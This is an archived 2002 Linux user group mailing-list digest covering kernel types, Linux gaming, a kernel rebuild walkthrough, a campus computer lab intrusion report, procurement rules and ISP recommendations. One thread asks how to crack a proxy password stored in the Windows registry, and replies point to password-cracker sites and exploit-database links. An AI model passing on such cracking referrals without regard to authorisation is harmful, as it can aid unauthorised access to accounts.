http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 23:29:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Tue, 18 Jun 2002 16:29:36 -0700 Subject: Ethical hacking/cracking In-Reply-To: <3D0FBA65.9060506@esaravana.com> References: <3D0FBA65.9060506@esaravana.com> Message-ID: <200206181629.36140.zen2now@qwest.net> i didnt say this! but check out http://www.blackcode.com/, they several password crackers on their site. the only thing is you will have to register to download files. remember i didnt send you there. :~D slr On Tuesday 18 June 2002 03:55 pm, Sundar wrote: > Hello, > > Would you guys know of hacking/cracking the password key stored in > Windows NT registry by an application? Application in question is 'Funk > Software Proxy' and it seems to have stored the password in binary form. > > (The guy who ghost imaged the system left the company and now we have to > connect to them.) > > Any help is appreciated > > Sundar > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 23:50:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alpha Zenon Sanchez) Date: Tue, 18 Jun 2002 16:50:47 -0700 (PDT) Subject: Question: What's The difference between a 'Modular Kernel and a Monolithic Kernel?' Message-ID: <20020618235047.934.qmail@web10601.mail.yahoo.com> Hello Linux Users: If I installed a Redhat 7.2 OS on my computer from a CD, but so far have not configured anything and added cards with Redhat's 'plug and play' ability, what type of Kernal do I have? Would it be monolithic or modular? I need to know this becuase I'm installing a NIC card on my system. I haven't rebuilt or compiled my kernel yet. The instructions have versions for both a monolithic and a modular kernel. My NIC card is a Netgear FA310TX PCI. Thanks in Advance ===== Thanks, Alpha Zenon Sanchez __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 23:49:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Tue, 18 Jun 2002 16:49:29 -0700 (PDT) Subject: Ethical hacking/cracking In-Reply-To: <3D0FBA65.9060506@esaravana.com> Message-ID: <20020618234929.53740.qmail@web13405.mail.yahoo.com> --- Sundar wrote: > Hello, > > Would you guys know of hacking/cracking the > password key stored in > Windows NT registry by an application? Application > in question is 'Funk > Software Proxy' and it seems to have stored the > password in binary form. > > (The guy who ghost imaged the system left the > company and now we have to > connect to them.) > > Any help is appreciated > > Sundar Hey Sundar, You might want to have a look here if you have not already and see if there are any refrences to the key? HKEY_LOCAL_MACHINE\Software\Funk Software, Inc.\ Sorry I can't help more but I'm just checking some e-mail before class and I have to go. __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 23:55:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 18 Jun 2002 19:55:04 -0400 Subject: Question: What's The difference between a 'Modular Kernel and a Monolithic Kernel?' Message-ID: Modular. Red Hat is modular as most distros are. Alan On Tue, 18 Jun 2002 16:50:47 -0700 (PDT) Alpha Zenon Sanchez wrote: Hello Linux Users: If I installed a Redhat 7.2 OS on my computer from a CD, but so far have not configured anything and added cards with Redhat's 'plug and play' ability, what type of Kernal do I have? Would it be monolithic or modular? I need to know this becuase I'm installing a NIC card on my system. I haven't rebuilt or compiled my kernel yet. The instructions have versions for both a monolithic and a modular kernel. My NIC card is a Netgear FA310TX PCI. Thanks in Advance ===== Thanks, Alpha Zenon Sanchez __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 23:57:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bill Warner) Date: 18 Jun 2002 16:57:42 -0700 Subject: Does Linux do games well? In-Reply-To: <2AAC72149C827944B96C854ABD0BCAFF1A4DF1@azmscorp01.corp.azms> References: <2AAC72149C827944B96C854ABD0BCAFF1A4DF1@azmscorp01.corp.azms> Message-ID: <1024444662.12366.8.camel@wwarner> Or my favorite port of Mame. I have actually built a complete arcade cabinet http://advancemame.sourceforge.net/ I have actually built a complete arcade cabinet for mame with real arcade controllers and all. Bill Warner On Tue, 2002-06-18 at 15:51, Larry Lauer wrote: > You can check out x.mame.net for an arcade emulator. There are many > different kinds out there. software.linux.com has links to many other > sites also. > > Larry > > -----Original Message----- > From: slr [mailto:zen2now@qwest.net] > Sent: Tuesday, June 18, 2002 3:18 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Does Linux do games well? > > > oh, well that i am not sure about. i'm a 3D shooter guy, and i like > flight > sims and racing sims. but i use to play with this Arcade emulator that > was > great, played all the old Arcade games that i enjoyed playing as a kid. > i > cant remember the name of it, but if you look hard enough i know you can > find > an arcade emulator for Linux. but linux comes with many 2D non-violent > games, > what titles are you wanting to run? > > slr > > On Tuesday 18 June 2002 02:59 pm, Mark Berkwitt wrote: > > I was thinking of those old simple 2D games that were basically > nonviolent. > > > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Bill Warner Unix/Linux Admin. Direct Alliance Corporation Company required stuff: Contents are Direct Alliance Corporation Confidential This message is for the designated recipient(s) only and contains Direct Alliance Corporation privileged and confidential information. If you have received it in error, please notify the sender immediately and delete the original. Any other use of this email is prohibited. From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 00:12:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dan Lund) Date: Tue, 18 Jun 2002 17:12:12 -0700 Subject: Question: What's The difference between a 'Modular Kernel and a Monolithic Kernel?' In-Reply-To: <20020618235047.934.qmail@web10601.mail.yahoo.com> References: <20020618235047.934.qmail@web10601.mail.yahoo.com> Message-ID: <200206181712.12960.arkane_@yahoo.com> Redhat 7.2 the last I checked loaded like almost everything as modules, so it would be a modularized kernel. On Tuesday 18 June 2002 04:50 pm, Alpha Zenon Sanchez wrote: > Hello Linux Users: > > If I installed a Redhat 7.2 OS on my computer from a > CD, but so far have not configured anything and added > cards with Redhat's 'plug and play' ability, what type > of Kernal do I have? Would it be monolithic or > modular? I need to know this becuase I'm installing > a NIC card on my system. I haven't rebuilt or compiled > my kernel yet. > > The instructions have versions for both a monolithic > and a modular kernel. > > My NIC card is a Netgear FA310TX PCI. > Thanks in Advance > > ===== > Thanks, > Alpha Zenon Sanchez > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 00:48:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Tue, 18 Jun 2002 17:48:49 -0700 (MST) Subject: Ethical hacking/cracking In-Reply-To: <3D0FBA65.9060506@esaravana.com> Message-ID: These might be helpful? (After skimming this link, I'd scrap it and use something secure.) http://pulhas.org/xploitsdb/Other/5249.html http://neworder.box.sk/showme.php3?id=6416 http://www.securiteam.com/securitynews/5RP022A6UM.html squid works great with minimal tweeking on a mostly default RH7.3 server install. The tweeks needed are to allow minimal access to the proxy. Installation default is no access. ----------------------------------- On Tue, 18 Jun 2002, Sundar wrote: Hello, Would you guys know of hacking/cracking the password key stored in Windows NT registry by an application? Application in question is 'Funk Software Proxy' and it seems to have stored the password in binary form. (The guy who ghost imaged the system left the company and now we have to connect to them.) Any help is appreciated Sundar ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 01:06:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (technomage) Date: Tue, 18 Jun 2002 18:06:38 -0700 Subject: ASU computer lab hacked Message-ID: <20020619010638.NJPN1378.fed1mtao03.cox.net@there> well, if anyone didn't catch the 5 PM news, it appears that the ASU computer lab and some of the administration machines were hacked into by someone representing the russian mafia (thats what they said on the news anyway). make take a look for it on www.phoenix360.com or any of the other news statiosn that have web pages. Technomage p. incidently, those machines were apples running a pre-OSX OS -- I will not be pushed, filed, stamped, indexed, briefed, debriefed, or numbered! My life is my own - No. 6 From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 01:32:45 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert A. Klahn) Date: Wed, 19 Jun 2002 01:32:45 +0000 Subject: PLUG-discuss digest, Vol 1 #2374 - 13 msgs Message-ID: <20020619013246.066F56DA6C@www.fastmail.fm> Unless you have done something very unusual, you have a "Modular" Kernel. One way to check is to run, as root, the "lsmod" command. If you get many lines, you have a "Modular" Kernel. If you dont, or get an error, its likely "Monolithic". Bob. > Message: 7 > Date: Tue, 18 Jun 2002 16:50:47 -0700 (PDT) > From: Alpha Zenon Sanchez > Subject: Question: What's The difference between a 'Modular Kernel and > a Monolithic Kernel?' > To: plug-discuss@lists.plug.phoenix.az.us > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > Hello Linux Users: > > If I installed a Redhat 7.2 OS on my computer from a > CD, but so far have not configured anything and added > cards with Redhat's 'plug and play' ability, what type > of Kernal do I have? Would it be monolithic or > modular? I need to know this becuase I'm installing > a NIC card on my system. I haven't rebuilt or compiled > my kernel yet. > > The instructions have versions for both a monolithic > and a modular kernel. > > My NIC card is a Netgear FA310TX PCI. > Thanks in Advance > > ===== > Thanks, > Alpha Zenon Sanchez > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ----------------------------------------------------------- Robert A. Klahn robert@kint.org AIM: rklahn "Hope has two beautiful daughters: Anger and Courage. Anger at the way things are, and Courage to struggle to create things as they should be." -- St. Augustine From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 02:10:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Tue, 18 Jun 2002 19:10:55 -0700 Subject: Defragmentation Message-ID: <200206181911.00116.plug@the-arcanum.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Has anyone had any luck with any defragmentation programs for linux? I found on, but can't get it to compile. ftp://metalab.unc.edu/pub/Linux/system/filesystems/ thanks for the help - -- Nathan England plug@the-arcanum.org jabber id: linuxjunkie@earth.jabber.li "A free society is one where it is safe to be unpopular." -- Adlai Stevenson -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9D+gzQ7yNnsYcupwRAm/aAJ99/qatMITClAQAs6GcXk3EHTJOggCfRGUM I6LfBB9U4dst8vQ2s50wS0M= =G1mp -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 02:28:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Tue, 18 Jun 2002 22:28:47 -0400 Subject: Does Linux do games well? References: <200206181445.38509.zen2now@qwest.net> Message-ID: <3D0FEC5F.BCD94975@georgetoft.com> For those of us whose Linux gaming experience is limited to doom and decent, could you spell out the games names, ie, UT and TO? George -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- slr wrote: > > linuxgames.com is a great link for linux games > > if you have the 3D hardware and the most recent vid. drv. to play the newer > games, then i would say YES!!! linux is great for playing games, Wolfenstein > plays better for me in linux than is does in Windoze, as does Soldier of > Fortune. UT runs great as well as TO, and Q2 & Q3 and Q3 Team Arena play > great in Linux. Actually i enjoy playing games in Linux better than Windoze, > but there just isnt enough titles, and now with Loki gone the future is > somewhat dim. > > slr > > On Tuesday 18 June 2002 02:24 pm, Mark Berkwitt wrote: > > How good is linux for games? > > > > Linux has a rep for running more efficiently on older hardware than W*. > > Is there a website that lists games available to linux and minimal hardware > > needed for them? > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 02:29:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Tue, 18 Jun 2002 19:29:27 -0700 (PDT) Subject: ASU computer lab hacked In-Reply-To: <20020619010638.NJPN1378.fed1mtao03.cox.net@there> Message-ID: <20020619022927.75969.qmail@web13405.mail.yahoo.com> --- technomage wrote: > well, > if anyone didn't catch the 5 PM news, it appears > that the ASU computer lab > and some of the administration machines were hacked > into by someone > representing the russian mafia (thats what they said > on the news anyway). > > make take a look for it on www.phoenix360.com or any > of the other news > statiosn that have web pages. > > Technomage > > p. incidently, those machines were apples running a > pre-OSX OS Pre-OSX? OS 9? Any word on what was running on the machines that allowed whoever it was to gain access? I didn't think any software bundled by apple pre-OSX had a remote exploit that could be used? __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 03:37:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (Patrick Fleming EA) Date: Tue, 18 Jun 2002 20:37:30 -0700 (MST) Subject: ASU computer lab hacked In-Reply-To: <20020619022927.75969.qmail@web13405.mail.yahoo.com> Message-ID: My understanding was that key logging software was installed locally. On Tue, 18 Jun 2002, bob smith wrote: > > --- technomage wrote: > > well, > > if anyone didn't catch the 5 PM news, it appears > > that the ASU computer lab > > and some of the administration machines were hacked > > into by someone > > representing the russian mafia (thats what they said > > on the news anyway). > > > > make take a look for it on www.phoenix360.com or any > > of the other news > > statiosn that have web pages. > > > > Technomage > > > > p. incidently, those machines were apples running a > > pre-OSX OS > > Pre-OSX? OS 9? Any word on what was running on the > machines that allowed whoever it was to gain access? I > didn't think any software bundled by apple pre-OSX had > a remote exploit that could be used? > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Patrick Fleming, EA http://myhdvest.com/patrickfleming Licensed to represent taxpayers before Exam, Appeals, and Conference divisions of the IRS From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 03:47:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Phillips) Date: Tue, 18 Jun 2002 23:47:16 -0400 Subject: Need Help with Redhat 7.3 Install Message-ID: <20020619034718.XVQC8234.lakemtao06.cox.net@smtp.central.cox.net> Kevin, Thanks again for your help and for documenting this process! I should add one note to your instructions because, in my case, the first time I followed them the kernel build failed. I used the i586.config file instead of the i386, so that may be the difference. I made two changes to the i586.config file: 1. I changed CPU type to Pentium MMX (which is the processor in my Dell Inspiron 3000, and I am hoping for some improvement in performance - about 50% - 75% based on some Intel propaganda I read on the web for MMX) 2. I removed the pcmcia stuff as you described below. I think the build failed because one of the defaults in the i586.config file included pcmcia support for the QuickNet Internet LineJack/PhoneJack card. The error message (oops - I forgot to write it down) said the build failed due to some missing pcmcia related files. You can find this (bizarre??) card under Telephony Support. Maybe it was not included in the i386.config file?? I am rebuilding the kernel again without pcmcia support for this card, and it is still going strong (5 hours and counting). I will let you know if I find any other problems. Thanks again! Mark > > From: "Kevin Brown" > Date: 2002/06/17 Mon PM 07:12:36 EDT > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Need Help with Redhat 7.3 Install > > I gave Mark a call this morning, but thought I'd send this out to the list since > several people have had this issue with RH7.3 and PCMCIA support on laptops. > > To fix this requires a rebuild of the kernel and the removal of the pcmcia rpm > package from the system. > > rpm -e kernel-pcmcia-cs > > Grab the src.rpm for kernel-2.4.18 and the raw tar.gz for the kernel from > kernel.org > wget > ftp://ftp.redhat.com/pub/redhat/linux/updates/7.3/en/os/i386/SRPMS/kernel-2.4.18-4.src.rpm > wget ftp://ftp.kernel.org/pub/linux/kernel/v2.4/linux-2.4.18.tar.gz > wget > http://telia.dl.sourceforge.net/sourceforge/pcmcia-cs/pcmcia-cs-3.1.34.tar.gz > cd /usr/src > tar -xvzf ~/linux-2.4.18.tar.gz > rpm -ivh ~/kernel-2.4.18.src.rpm > cd /usr/src/redhat/SOURCES > cp kernel-config- /usr/src/linux/.config > > Alter the config of the kernel: > cd /usr/src/linux > make menuconfig > > Remove PCMCIA Support > General setup -> PCMCIA/CardBus support -> PCMCIA/CardBus support > hit n to remove it, then exit config and save the changes > > make dep && make clean && make bzImage && make modules && make modules_install > > Wait for it to finish. On my P150 this took most of the night to do. > > cd /usr/src/linux/arch/i386/boot > cp bzImage /boot/vmlinuz-2.4.18 > > Assuming you are using grub, edit /etc/grub.conf > Assuming you are using lilo, edit /etc/lilo.conf, then rerun lilo > > Easy way to edit both is to copy the config that is currently booting and rename > kernel it is loading. > > Reboot the system and select the recently compiled kernel. > > Now rebuild PCMCIA support. > > cd /usr/src > tar -xvzf ~/pcmcia-cs-3.1.34.tar.gz > cd pcmcia-cs-3.1.34 > make config && make all && make install > > You should be able to accept the defaults during make config. Once done test by > starting it up. > > /etc/rc.d/init.d/pcmcia start > > Hope this helps. > > > I had RH7.0 running on my laptop and I installed RH 7.3 from CDs. However, I cannot get the pcmcia services to work, so I cannot connect to my network. I have to be out of town this weekend, or I would come to the install-fest for help. > > > > If anyone is willing to spend some time with me getting my laptop up and running, please call me on my cell 602 524-0376. My work laptop was stolen from my car, so I am trying to get my old laptop upgraded and working. Since I cannot get on the 'net I am sending this email from the library, so I will not be able to respond to this email! > > > > Thanks! > > > > > > > > Mark Phillips > > Phillips Marketing, Inc. > > 480.945.0798 > > 480.945.9197 fax > > mark@phillipsmarketing.biz > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > Mark Phillips Phillips Marketing, Inc. 480.945.0798 480.945.9197 fax mark@phillipsmarketing.biz From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 04:32:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 18 Jun 2002 21:32:10 -0700 Subject: Does Linux do games well? References: <200206181445.38509.zen2now@qwest.net> <3D0FEC5F.BCD94975@georgetoft.com> Message-ID: <3D10094A.7030208@netscape.net> --------------070703010906020708070004 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit UT is Unreal Tournament and it runs great! Map, skin, and mod downloads are alot quicker on Linux than on W*. George Toft wrote: >For those of us whose Linux gaming experience is limited to doom and >decent, could you spell out the games names, ie, UT and TO? > >George > > >-- >If you feel you have received a virus from me, please read > http://www.georgetoft.com/virus.html >because it wasn't me! >-- > > >slr wrote: > > >>linuxgames.com is a great link for linux games >> >>if you have the 3D hardware and the most recent vid. drv. to play the newer >>games, then i would say YES!!! linux is great for playing games, Wolfenstein >>plays better for me in linux than is does in Windoze, as does Soldier of >>Fortune. UT runs great as well as TO, and Q2 & Q3 and Q3 Team Arena play >>great in Linux. Actually i enjoy playing games in Linux better than Windoze, >>but there just isnt enough titles, and now with Loki gone the future is >>somewhat dim. >> >>slr >> >>On Tuesday 18 June 2002 02:24 pm, Mark Berkwitt wrote: >> >> >>>How good is linux for games? >>> >>>Linux has a rep for running more efficiently on older hardware than W*. >>>Is there a website that lists games available to linux and minimal hardware >>>needed for them? >>> >>> >>>________________________________________________ >>>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >>>post to the list quickly and you use Netscape to write mail. >>> >>>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >>> >>> >>________________________________________________ >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. >> >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> >> >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > --------------070703010906020708070004 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit UT is Unreal Tournament and it runs great!  Map, skin, and mod downloads are alot quicker on Linux than on W*.

George Toft wrote:
For those of us whose Linux gaming experience is limited to doom and
decent, could you spell out the games names, ie, UT and TO?

George


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slr wrote:
  
linuxgames.com is a great link for linux games

if you have the 3D hardware and the most recent vid. drv. to play the newer
games, then i would say YES!!! linux is great for playing games, Wolfenstein
plays better for me in linux than is does in Windoze, as does Soldier of
Fortune. UT runs great as well as TO, and Q2 & Q3 and Q3 Team Arena play
great in Linux. Actually i enjoy playing games in Linux better than Windoze,
but there just isnt enough titles, and now with Loki gone the future is
somewhat dim.

slr

On Tuesday 18 June 2002 02:24 pm, Mark Berkwitt wrote:
    
How good is linux for games?

Linux has a rep for running more efficiently on older hardware than W*.
Is there a website that lists games available to linux and minimal hardware
needed for them?


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--------------070703010906020708070004-- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 04:39:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Tue, 18 Jun 2002 21:39:57 -0700 Subject: Fw: Computer Purchasing Guidelines Message-ID: <006f01c2174b$5e9e3d90$42c8a8c0@schnauzer> Here is the response I received from David Cantelme, Deer Valley school board member. He is the one who has arizonalawinstitute@yahoo.com as his email address. It sounds to me that all the school districts and the state itself should be starting debarment proceedings against MS. We need to start contacting the legislators, Attorney General's office and your local school superintendents. ----- Original Message ----- From: "david cantelme" To: "Tom Achtenberg" Sent: Tuesday, June 18, 2002 6:08 AM Subject: Re: Computer Purchasing Guidelines Dear Mr. Actenburg: They do not, but similar rules found in the state school district procurement rules do apply. Both sets of rules have their origen in the state procurement code. You can find the school district procurement rules by going to the secretary of state web site. Click on administrative rules. Go to title seven. Then scroll down to R7-2-1001. That's where the rules begin. They continue to about R7-2-1175. Debarment procedures do exist in the school district procurement rules. You would need to address your comments on debarment to the adminsitration. That's who would initiate the procedure. If the administration initiates a debarment procedure, the board determines whether to appoint a hearing officer. It goes from there to the officer with appropriate due process to the contractor. The board itself has no involvement in the hearing process. The officer must be independent to ensure a fair hearing under our constitutional system. --- Tom Achtenberg wrote: > I was wondering if the Maricopa County purchasing > policies listed below apply > to DVUSD purchasing pprocedures? > > Maricopa County policies. Interesting references: > > MC1-101 DEFINITIONS > 25."CONTRACTOR" means any Person who has a Contract > with a County > Governmental unit. For purposes of Article 5, > Contractor may also mean > Respondent as defined in this Article. > 36."DEBARMENT" means an action taken by the County > Administrative > Officer under MC1-902 to prohibit a Person from > Participating in > Maricopa County Procurements. > 80."PERSON" means any corporation, Business, > individual, union, > committee, club, other organization or group of > individuals. > 113."SUSPENSION" means an action taken by the County > Administrative > Officer under MC1-902 temporarily disqualifying a > Person from > participating in Maricopa County Procurements. > http://maricopa.gov/materials/p-code/HTML_code/Code-01.htm > > [Microsoft is considered a Contractor and a Person. > This is important > below.] > > > MC1-407 MAXIMUM PRACTICABLE COMPETITION > All Specifications shall seek to promote overall > economy for the purpose > intended and encourage competition in satisfying > Maricopa County's needs > and shall not be unduly restrictive. > http://maricopa.gov/materials/p-code/HTML_code/Code-04.htm#MC1-401 > > [Is there any technology that is Microsoft > exclusive? I believe there > are sites that explain how to replace Exchange > Server completely using > Linux/OSS with Qmail; and SQL Server is replaceable > with mySQL or PostgreSQL; > IIS & ASP is replaceable with Apache & PHP, The MS > Office suite is > replaceable with the very comparable Open Office > suite.] > > > MC1-902 DEBARMENT AND SUSPENSION OF CONTRACTORS > B. The causes for Debarment or Suspension shall > include, but are not > limited to, the following: > 2. Conviction of any Person or any subsidiary or > affiliate of any Person > under any statute of the Federal government, this > State or its political > subdivision or any other State for: > k. Any other offense indicating a lack of business > integrity or business > honesty which affects responsibility as a > Contractor. > 3. Conviction or civil judgment finding a violation > by any Person or any > subsidiary or affiliate of any Person under State or > Federal Antitrust > Statutes. > > http://maricopa.gov/materials/p-code/HTML_code/Code-09.htm#MC1-901 > > As I read MC1-902.B.3, Microsoft (a Person), having > been convicted of a > violation of Federal Antitrust Statues, cannot be a > County Contractor. > > There are many alternatives to Microsofts products. > Alternatives that have > broken no laws, Federal or Local, are well supported > and used by many large > governments (Germany, Taiwan, et al). As a > concerned voter in the DVUSD, I > must point out that I cannot support criminal > behavior and would hope that my > Governing Board would see fit to do the same and > ONLY consider alternatives > as Microsoft is clearly unqualified to meet District > requirements. > > Thank You, > > Tom Achtenberg > > PS this message was written ans sent to you using a > computer that is 100% > Microsoft free. It uses the Red Hat Linux 7.3 > operating system, KDE windows > like desktop and the K-mail email client. All if > these programs come under > the "General Public License" which means they are > 100% free to the public for > personal and commercial use. > -- > Visit the Mountain Ridge Band Site at http://www.mrhsband.org __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.371 / Virus Database: 206 - Release Date: 6/13/2002 From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 04:53:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (C. Sullivan) Date: Wed, 19 Jun 2002 04:53:35 +0000 (GMT) Subject: Local ISPs... Message-ID: Can anybody recommend a good local dialup ISP that is Linux-friendly and reliable? I don't need a lot of hand-holding, just one that isn't going to get all weird when I report a problem and I give them output from pppd's logs. (my current ISP, USISP [which is neither linux-friendly nor local] has constant problems with what should be easy stuff [you know, little things like changing my account without telling me and keeping the in-addr.arpa records working] and I'm sick of it) -Fedl From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 05:13:06 2002 From: plug-discuss@lists.plug.phoenix.az.us (Cap Bateman) Date: 18 Jun 2002 22:13:06 -0700 Subject: Local ISPs... In-Reply-To: References: Message-ID: <1024463588.6572.10.camel@desktop.capnet.lan> --=-+i5M0brNiPHRORq6bRf9 Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Tue, 2002-06-18 at 21:53, C. Sullivan wrote: > Can anybody recommend a good local dialup ISP that is Linux-friendly and > reliable? I don't need a lot of hand-holding, just one that isn't going > to get all weird when I report a problem and I give them output from > pppd's logs. >=20 You'll probably hear this one a lot... http://www.unitywave.com --=20 D.L. 'Cap' Bateman Registered Linux User #268440, Machine #151687 No trees were harmed in sending this Earth-safe message. However, a few electrons may have been inconvenienced. --=-+i5M0brNiPHRORq6bRf9 Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part 